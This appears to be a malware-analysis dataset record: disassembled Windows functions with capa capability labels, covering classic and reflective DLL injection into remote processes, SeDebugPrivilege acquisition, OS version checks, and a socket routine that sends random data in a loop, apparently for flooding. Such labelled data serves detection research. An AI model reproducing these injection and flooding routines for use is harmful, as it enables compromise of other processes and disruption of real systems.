joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400111ae
Capabilities:
Check os version

Disassembly:
jmp 0x140011b90
push rbp
push rdi
sub rsp, 0x228
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140023080]
xor rax, rbp
mov qword [rbp + 0x1f8], rax
lea rcx, [0x1400290a3]
call fcn.140011497
mov dword [rbp + 0x10], 0x114
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x140011ca2
cmp dword [rbp + 0x14], 5
jne 0x140011c02
lea rcx, str.___OS_version:_Windows_XP_n
call fcn.140011032
mov eax, 1
jmp 0x140011cb0
cmp dword [rbp + 0x14], 6
jne 0x140011c24
cmp dword [rbp + 0x18], 0
jne 0x140011c24
lea rcx, str.___OS_version:_Windows_Vista_n
call fcn.140011032
mov eax, 2
jmp 0x140011cb0
cmp dword [rbp + 0x14], 6
jne 0x140011c43
cmp dword [rbp + 0x18], 1
jne 0x140011c43
lea rcx, str.___OS_version:_Windows_7_n
call fcn.140011032
mov eax, 3
jmp 0x140011cb0
cmp dword [rbp + 0x14], 6
jne 0x140011c62
cmp dword [rbp + 0x18], 2
jne 0x140011c62
lea rcx, str.___OS_version:_Windows_8_n
call fcn.140011032
mov eax, 4
jmp 0x140011cb0
cmp dword [rbp + 0x14], 6
jne 0x140011c81
cmp dword [rbp + 0x18], 3
jne 0x140011c81
lea rcx, str.___OS_version:_Windows_8.1_n
call fcn.140011032
mov eax, 5
jmp 0x140011cb0
cmp dword [rbp + 0x14], 0xa
jne 0x140011ca0
cmp dword [rbp + 0x18], 0
jne 0x140011ca0
lea rcx, str.___OS_version:_Windows_10_n
call fcn.140011032
mov eax, 6
jmp 0x140011cb0
jmp 0x140011cae
lea rcx, str.____OS_version_detect_failed._n
call fcn.1400111f4
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001dd80]
call fcn.1400113ed
mov rax, rdi
mov rcx, qword [rbp + 0x1f8]
xor rcx, rbp
call fcn.140011217
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret
Function at 0x1400111cc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x140012670
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x20]
lea rcx, [0x14002919d]
call fcn.140011497
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
mov dword [rbp + 0xa4], 0
mov dword [rbp + 0xc4], 2
mov rax, qword [rbp + 0x1e0]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x10b
jne 0x140012710
cmp dword [rbp + 0xc4], 1
je 0x14001270e
xor eax, eax
jmp 0x1400128ad
jmp 0x140012738
mov rax, qword [rbp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
jne 0x140012731
cmp dword [rbp + 0xc4], 2
je 0x14001272f
xor eax, eax
jmp 0x1400128ad
jmp 0x140012738
xor eax, eax
jmp 0x1400128ad
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x28]
lea rax, [rcx + rax + 0x88]
mov qword [rbp + 0x48], rax
mov rdx, qword [rbp + 8]
mov rax, qword [rbp + 0x48]
mov ecx, dword [rax]
call fcn.140011280
mov eax, eax
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x28], rax
mov rdx, qword [rbp + 8]
mov rax, qword [rbp + 0x28]
mov ecx, dword [rax + 0x20]
call fcn.140011280
mov eax, eax
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x48], rax
mov rdx, qword [rbp + 8]
mov rax, qword [rbp + 0x28]
mov ecx, dword [rax + 0x1c]
call fcn.140011280
mov eax, eax
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x68], rax
mov rdx, qword [rbp + 8]
mov rax, qword [rbp + 0x28]
mov ecx, dword [rax + 0x24]
call fcn.140011280
mov eax, eax
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x18]
mov dword [rbp + 0xa4], eax
mov eax, dword [rbp + 0xa4]
mov dword [rbp + 0x1b4], eax
mov eax, dword [rbp + 0xa4]
dec eax
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0x1b4], 0
je 0x1400128ab
mov rdx, qword [rbp + 8]
mov rax, qword [rbp + 0x48]
mov ecx, dword [rax]
call fcn.140011280
mov eax, eax
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xe8], rax
lea rdx, str.ReflectiveLoader
mov rcx, qword [rbp + 0xe8]
call fcn.1400114a6
test rax, rax
je 0x140012888
mov rdx, qword [rbp + 8]
mov rax, qword [rbp + 0x28]
mov ecx, dword [rax + 0x1c]
call fcn.140011280
mov eax, eax
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x88]
movzx eax, word [rax]
mov rcx, qword [rbp + 0x68]
lea rax, [rcx + rax*4]
mov qword [rbp + 0x68], rax
mov rdx, qword [rbp + 8]
mov rax, qword [rbp + 0x68]
mov ecx, dword [rax]
call fcn.140011280
jmp 0x1400128ad
mov rax, qword [rbp + 0x48]
add rax, 4
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x88]
add rax, 2
mov qword [rbp + 0x88], rax
jmp 0x1400127e0
xor eax, eax
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x140011276
Capabilities:
Terminate process

Disassembly:
jmp 0x140016020
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011280
Capabilities:
Enumerate pe sections

Disassembly:
jmp 0x140012e00
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x14002919d]
call fcn.140011497
xor eax, eax
mov word [rbp + 4], ax
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov rax, qword [rbp + 0x148]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x148]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
movzx eax, word [rax + 0x14]
mov rcx, qword [rbp + 0x48]
lea rax, [rcx + rax + 0x18]
mov qword [rbp + 0x28], rax
mov eax, 0x28
imul rax, rax, 0
mov rcx, qword [rbp + 0x28]
mov eax, dword [rcx + rax + 0x14]
cmp dword [rbp + 0x140], eax
jae 0x140012e8e
mov eax, dword [rbp + 0x140]
jmp 0x140012f24
xor eax, eax
mov word [rbp + 4], ax
jmp 0x140012ea1
movzx eax, word [rbp + 4]
inc ax
mov word [rbp + 4], ax
movzx eax, word [rbp + 4]
mov rcx, qword [rbp + 0x48]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x140012f22
movzx eax, word [rbp + 4]
imul rax, rax, 0x28
mov rcx, qword [rbp + 0x28]
mov eax, dword [rcx + rax + 0xc]
cmp dword [rbp + 0x140], eax
jb 0x140012f1d
movzx eax, word [rbp + 4]
imul rax, rax, 0x28
movzx ecx, word [rbp + 4]
imul rcx, rcx, 0x28
mov rdx, qword [rbp + 0x28]
mov eax, dword [rdx + rax + 0xc]
mov rdx, qword [rbp + 0x28]
add eax, dword [rdx + rcx + 0x10]
cmp dword [rbp + 0x140], eax
jae 0x140012f1d
movzx eax, word [rbp + 4]
imul rax, rax, 0x28
mov rcx, qword [rbp + 0x28]
mov eax, dword [rcx + rax + 0xc]
mov ecx, dword [rbp + 0x140]
sub ecx, eax
mov eax, ecx
movzx ecx, word [rbp + 4]
imul rcx, rcx, 0x28
mov rdx, qword [rbp + 0x28]
add eax, dword [rdx + rcx + 0x14]
jmp 0x140012f24
jmp 0x140012e96
xor eax, eax
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x14001132f
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400173b0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400173d0
xor al, al
jmp 0x140017451
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400173e3
xor al, al
jmp 0x140017451
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001740d
xor al, al
jmp 0x140017451
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140017421
xor al, al
jmp 0x140017451
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140017433
xor al, al
jmp 0x140017451
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001744f
xor al, al
jmp 0x140017451
mov al, 1
add rsp, 0x38
ret
Function at 0x1400113c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
jmp 0x140012b10
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x3a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x218]
lea rcx, [0x14002919d]
call fcn.140011497
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
mov dword [rbp + 0x84], 0
mov dword [rbp + 0xa4], 0
mov qword [rbp + 0xc8], 0
cmp qword [rbp + 0x1c0], 0
je 0x140012bb2
cmp qword [rbp + 0x1c8], 0
je 0x140012bb2
cmp dword [rbp + 0x1d0], 0
jne 0x140012bb7
jmp 0x140012d38
mov rcx, qword [rbp + 0x1c8]
call fcn.1400111cc
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jne 0x140012be3
lea rcx, str.GetReflectiveLoaderOffset_FAILED_
call fcn.140011032
jmp 0x140012d38
mov eax, dword [rbp + 0x1d0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140012c25
lea rcx, str.VirtualAllocEx_FAILED_
call fcn.140011032
jmp 0x140012d38
mov eax, dword [rbp + 0x1d0]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0x1c8]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140012c64
lea rcx, str.WriteProcessMemory_FAILED_
call fcn.140011032
jmp 0x140012d38
mov eax, dword [rbp + 0x84]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x48], rax
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.RtlCreateUserThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc8], rax
mov qword [rsp + 0x48], 0
lea rax, [rbp + 0x68]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp + 0x1d8]
mov qword [rsp + 0x38], rax
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x1c0]
call qword [rbp + 0xc8]
cmp qword [rbp + 0x68], 0
jne 0x140012cff
lea rcx, str.Injection_FAILED_
call fcn.140011032
jmp 0x140012d38
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rbp + 0x1d0]
mov r9d, 0x8000
mov r8d, eax
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
test eax, eax
jne 0x140012b95
jmp 0x140012d42
mov rax, qword [rbp + 0x68]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ead0]
call fcn.1400113ed
mov rax, rdi
lea rsp, [rbp + 0x1a8]
pop rdi
pop rbp
ret
Function at 0x14001143d
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
jmp 0x140013250
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1c8
lea rbp, [rsp + 0x40]
lea rcx, [0x14002931c]
call fcn.140011497
mov rcx, qword [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
shl rax, 1
mov dword [rbp + 4], eax
mov r8d, dword [rbp + 0x1a8]
xor edx, edx
mov ecx, 0x42a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400132c5
mov edx, dword [rbp + 0x1a8]
lea rcx, str.____Error:_Could_not_open_process_for_PID___d_._n
call fcn.140011032
mov eax, 1
jmp 0x140013455
mov eax, dword [rbp + 4]
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x14001330c
mov edx, dword [rbp + 0x1a8]
lea rcx, str.____Error:_Could_not_allocate_memory_inside_PID___d_._n
call fcn.140011032
mov eax, 1
jmp 0x140013455
mov eax, dword [rbp + 4]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0x1a0]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jne 0x140013355
mov edx, dword [rbp + 0x1a8]
lea rcx, [0x14001eea0]
call fcn.140011032
mov eax, 1
jmp 0x140013455
lea rcx, str.Kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.LoadLibraryW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x140013399
lea rcx, str.____Error:_Could_not_find_LoadLibraryA_function_inside_kernel32.dll_library._n
call fcn.140011032
mov eax, 1
jmp 0x140013455
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x88]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x1400133ef
lea rcx, str.____Error:_Could_not_create_the_Remote_Thread._n
call fcn.140011032
mov eax, 1
jmp 0x140013455
lea rcx, str.___Success:_DLL_injected_via_CreateRemoteThread__._n
call fcn.140011032
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp qword [rbp + 0x48], 0
je 0x14001342b
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp qword [rbp + 0xa8], 0
je 0x140013442
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x28], 0
je 0x140013453
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x140011447
Capabilities:
Acquire debug privileges

Disassembly:
jmp 0x140011a30
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x16
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140023080]
xor rax, rbp
mov qword [rbp + 0x108], rax
lea rcx, [0x1400290a3]
call fcn.140011497
lea rax, [rbp + 8]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov qword [rbp + 0x38], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x38]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140011b55
mov dword [rbp + 8], 1
mov eax, 0xc
imul rax, rax, 0
mov dword [rbp + rax + 0x14], 2
mov eax, 0xc
imul rax, rax, 0
lea rax, [rbp + rax + 0xc]
mov r8, rax
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140011b49
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 8]
xor edx, edx
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140011b3d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error:_AdjustTokenPrivilege_failed___u_n
call fcn.140011032
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
jne 0x140011b3b
lea rcx, str.___Warning:_The_token_does_not_have_the_specified_privilege._n
call fcn.140011032
xor eax, eax
jmp 0x140011b5e
jmp 0x140011b49
lea rcx, str.___SeDebugPrivilege_Enabled._n
call fcn.140011032
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140011b59
xor eax, eax
jmp 0x140011b5e
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001dec0]
call fcn.1400113ed
mov rax, rdi
mov rcx, qword [rbp + 0x108]
xor rcx, rbp
call fcn.140011217
lea rsp, [rbp + 0x118]
pop rdi
pop rbp
ret
Function at 0x140011488
Capabilities:
Enumerate threads

Disassembly:
jmp 0x140011f20
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x188]
mov rax, qword [0x140023080]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x1400290a3]
call fcn.140011497
xor edx, edx
mov ecx, 4
call fcn.140011203
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
je 0x140011fea
mov dword [rbp + 0x28], 0x1c
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 8]
call fcn.1400112df
test eax, eax
je 0x140011fea
mov eax, dword [rbp + 0x28]
cmp rax, 0x10
jb 0x140011fd9
mov eax, dword [rbp + 0x160]
cmp dword [rbp + 0x34], eax
jne 0x140011fd9
mov r8d, dword [rbp + 0x30]
xor edx, edx
mov ecx, 0x20000
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x140011fd4
lea rcx, str.____Error:_Couldnt_get_thread_handle_n
call fcn.140011032
jmp 0x140011fd9
mov eax, dword [rbp + 0x30]
jmp 0x140011ff6
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 8]
call fcn.14001108c
test eax, eax
jne 0x140011f96
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001de00]
call fcn.1400113ed
mov rax, rdi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.140011217
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x140001010
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rdi, rdx
mov rbx, rcx
mov ecx, gethostbyname
call fcn.140001f78
test rax, rax
je 0x140001045
movups xmm0, xmmword [rdi]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rdi + 0x20]
movups xmmword [rax + 0x20], xmm0
mov qword [rsp + 0x40], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140001560]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x140001085
mov rax, rbx
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov dword [rdi], 0
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
Function at 0x1400018f0
Capabilities:
Connect socket
Encode data using xor
Generate random numbers using a mersenne twister
Initialize winsock library
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
mov eax, 0x1580
call fcn.1400020d0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1570], rax
mov r14, rcx
lea rdx, [rsp + 0x40]
mov ecx, 0x101
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 2
mov edx, ebx
mov ecx, ebx
lea r8d, [rbx + 0xf]
call qword [sym.imp.WS2_32.dll_socket]
mov rcx, qword [r14 + 8]
mov r12, rax
mov word [rsp + 0x30], bx
movzx ecx, word [rcx]
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [r14]
mov word [rsp + 0x32], ax
mov rcx, qword [rcx]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x34], eax
lea r8d, [rbx + 0xe]
lea rdx, [rsp + 0x30]
mov rcx, r12
xor eax, eax
mov qword [rsp + 0x38], rax
call qword [sym.imp.WS2_32.dll_connect]
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rsp + 0x1e4], eax
lea edx, [rbx - 1]
mov dword [rsp + 0x1564], 0xffffffff
nop dword [rax]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x1e4], eax
inc rdx
cmp rdx, 0x270
jb 0x1400019b0
mov rax, qword [r14 + 0x10]
xor ebx, ebx
mov dword [rsp + 0x1e0], 0x270
mov r15d, dword [rax]
cmp qword [rax], rbx
jbe 0x140001a52
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x20], rax
nop dword [rax + rax]
lea rcx, [rsp + 0x20]
call fcn.140001b70
mov eax, eax
imul rdx, rax, 0xff
test edx, edx
jne 0x140001a38
nop word [rax + rax]
lea rcx, [rsp + 0x20]
call fcn.140001b70
mov eax, eax
imul rdx, rax, 0xff
cmp edx, 1
jb 0x140001a20
mov rax, qword [r14 + 0x28]
shr rdx, 0x20
mov rcx, qword [rax]
mov byte [rbx + rcx], dl
inc rbx
mov rax, qword [r14 + 0x10]
cmp rbx, qword [rax]
jb 0x140001a00
lea rax, [rsp + 0x1e0]
xor edx, edx
mov qword [rsp + 0x28], rax
mov rdi, r15
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x20], rax
mov eax, r15d
neg eax
div r15d
mov esi, edx
nop dword [rax + rax]
lea rcx, [rsp + 0x28]
call fcn.140001b70
mov eax, eax
imul rbx, rax, 0xff
test ebx, ebx
jne 0x140001ab8
nop word [rax + rax]
lea rcx, [rsp + 0x28]
call fcn.140001b70
mov eax, eax
imul rbx, rax, 0xff
cmp ebx, 1
jb 0x140001aa0
mov rax, qword [r14 + 0x28]
lea rcx, [rsp + 0x20]
shr rbx, 0x20
mov rbp, qword [rax]
call fcn.140001b70
test r15d, r15d
je 0x140001af8
mov eax, eax
imul rax, rdi
cmp eax, edi
jae 0x140001af4
cmp eax, esi
jae 0x140001af4
lea rcx, [rsp + 0x20]
call fcn.140001b70
mov eax, eax
imul rax, rdi
cmp eax, esi
jb 0x140001ae0
shr rax, 0x20
mov ecx, eax
xor r9d, r9d
mov byte [rcx + rbp], bl
mov rcx, r12
mov r8, qword [r14 + 0x10]
mov rdx, qword [r14 + 0x28]
mov r8d, dword [r8]
mov rdx, qword [rdx]
call qword [sym.imp.WS2_32.dll_send]
jmp 0x140001a80
Function at 0x140001b70
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, qword [rcx]
mov r10d, 0x270
mov ecx, dword [r9]
cmp ecx, r10d
jne 0x140001bd1
lea r8, [r9 + 8]
nop dword [rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140001b90
mov ecx, dword [r9]
jmp 0x140001cbb
cmp ecx, 0x4e0
jb 0x140001cbb
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140001bf0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140001c40
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret